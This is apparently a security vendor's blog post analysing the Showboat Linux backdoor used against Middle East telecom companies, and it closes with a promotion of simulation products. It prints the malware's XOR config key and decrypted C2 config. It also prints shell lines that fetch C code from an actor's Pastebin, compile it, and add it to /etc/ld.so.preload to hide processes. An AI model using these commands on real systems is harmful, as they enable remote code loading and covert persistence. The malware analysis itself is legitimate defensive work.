Showboat Malware: Targeting Middle East Telecom Firms Since 2022

Umut Bayram | 4 MIN READ

| June 17, 2026

Key Takeaways

  • Showboat is a modular, Linux-based post-exploitation framework targeting AMD x86-64 systems, active since mid-2022.
  • The malware achieved zero antivirus detection across 65 engines and remained undetected until April 2026.
  • Showboat has been used exclusively against telecommunications companies in the Middle East, attributed with moderate-to-high confidence to PRC-backed threat actors.
  • The framework uses XOR encryption with a hardcoded key and disguises beacon data inside PNG fields to evade detection.
  • Showboat supports standard RAT capabilities, including file transfers, directory manipulation, and long-term persistence mechanisms.
  • Picus Threat Library includes dedicated simulation threats for Showboat across Network Infiltration and Email Infiltration attack modules.

Black Lotus Labs recently revealed a new and undocumented Linux-based post-exploit framework known as Showboat [1].

Showboat has existed since mid-2022, has evaded every form of antivirus detection, and has been used exclusively against telecommunications companies in the Middle East region. It is associated with high-confidence PRC-backed threat actors.

We'll be analyzing the technical details below, and we will explain how Picus validates your defenses against this threat.

What Is Showboat?

Showboat is a modular post-exploitation framework made for AMD x86-64 Linux. It isn't a dropper or ransomware; it's meant to provide operators with silent, long-lasting access to a compromised computer and the network around it.

This malware is an ELF 64-bit executable. When scanned in May 2025, VirusTotal showed a zero detection rate out of 65 available engines. So Showboat initially went undetected. Its shadowy presence continued that way until April 2026.

This tool is linked with moderate-to-high confidence to threat groups aligned with China. The basis for this attribution is the C2 infrastructure traced back to Chengdu, China. Also, the methods used line up with known tools and tactics from other Chinese APT groups.

How Does Showboat Malware Work?

Initial Encrypted Config

After execution, Showboat first grabs a config file from its built-in C2 server. The config file uses XOR encryption. Each byte is decrypted using a hardcoded XOR key: "look me, AV!".

Here’s a Python snippet showing that decryption process:

def xor_decrypt(data: bytes, key: str) -> bytes:

key_bytes = key.encode()

return bytes(b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(data))


key = "look me, AV!"

# encrypted_config = <bytes from C2 response>

decrypted = xor_decrypt(encrypted_config, key)

Once decrypted, the config file looks like this:

SERVER_ADDRESS = telecom.webredirect[.]org

RESOLVE_IP = NULL

SERVER_PORT = 80

PROXY_ADDRESS =

PROXY_PORT = 0

MIN_SLEEP = 5

MAX_SLEEP = 10

SLOW_MODE_MIN_SLEEP = 20

SLOW_MODE_MAX_SLEEP = 25

Note that rather than contacting the server at fixed intervals, which would make predictable patterns and be easier to spot, the malware chooses random wait times between minimums and maximums.

The Heartbeat Beacon

Post-config fetch, Showboat collects some key info from the host, like the hostname, OS details, and a list of running processes. It throws in its own process data and even takes a screenshot. Then it bundles all this info along with the C2-sent values (like UUID and version) into a JSON string, encrypts it with part of the UUID, encodes it in base64, and wraps it in a PNG field before sending it out.

So, the data gets packaged something like this:

{

"uuid": "a3f9c-...-82741",

"type": "beacon",

"version": "1.2",

"hostname": "example_hostname",

"sleepRange": [5, 10],

"maxSleep": 10,

"slowSleepRange": [20, 25],

"slowMaxSleep": 25,

"slowMinSleep": 20,

"osInfo": "Linux 5.15.0 x86_64",

"processInfo": "..."

}

Command Set of Showboat

Key commands available in Showboat let the operator control file transfers, alter directories, and set up persistence methods. These are standard RAT features.

But it also has some outstanding features. One of them is the hide command.

When invoked, it fetches a C source file (ukpkmkk.c) from a Pastebin page set up by the threat actors, compiles it on the victim machine, then uses ld.so.preload to inject it into the dynamic linker.

# Conceptually what the hide command does:

curl -s https://pastebin.com/raw/[actor_page] -o /tmp/ukpkmkk.c

gcc -shared -fPIC -o /tmp/ukpkmkk.so /tmp/ukpkmkk.c -ldl

echo "/tmp/ukpkmkk.so" >> /etc/ld.so.preload

The ld.so.preload mechanism is a Linux feature that lets you specify shared libraries to load before anything else. Malware abuses this to hook system calls, in this case, functions like readdir() that tools like ps and top use to enumerate processes. If your process name is on the filter list, it simply never shows up.

The code snippet retrieved from Pastebin included a hardcoded process filter list:

static const char* process_to_filter = "kworkers|dbus|autoupdate";

Overall, it fits as a remote access toolset with advanced features for long-term, stealthy operations.

How Picus Simulates Showboat Attacks?

We also strongly suggest simulating Showboat Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other malware variants, such as BRICKSTORM, VenomRAT, Chinotto, and Rustonotto, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the Showboat Attacks:

Threat ID

Threat Name

Attack Module

81500

Showboat Backdoor Malware Download Threat

Network Infiltration

45442

Showboat Backdoor Malware Email Threat

E-mail Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.

 
Showboat is a modular post-exploitation framework designed for AMD x86-64 Linux systems. It is not ransomware or a dropper. Instead, it provides operators with silent, long-lasting access to a compromised machine and its surrounding network. It has been active since mid-2022 and remained undetected by antivirus engines until April 2026.
Showboat has been used exclusively against telecommunications companies in the Middle East region. The malware is attributed with moderate-to-high confidence to threat groups aligned with China, based on C2 infrastructure traced back to Chengdu and methods consistent with known Chinese APT tools and tactics.
Showboat uses several evasion techniques. It encrypts its configuration with XOR using a hardcoded key and disguises beacon data inside PNG fields. Its "hide" command fetches a C source file from Pastebin, compiles it on the victim machine, and uses ld.so.preload to hook system calls, making malicious processes invisible to tools like ps and top.
After execution, Showboat fetches an encrypted configuration from its built-in C2 server. It then sends beacon data containing host information, running processes, OS details, and a screenshot. To avoid predictable traffic patterns, Showboat uses randomized sleep intervals between check-ins rather than contacting the server at fixed intervals.
Picus Threat Library includes two dedicated simulation threats for Showboat: one for Network Infiltration (Threat ID 81500) and one for Email Infiltration (Threat ID 45442). These simulations allow security teams to test and validate their defenses against Showboat attacks and receive actionable mitigation insights through the Picus Platform.

Table of Contents

Ready to start? Request a demo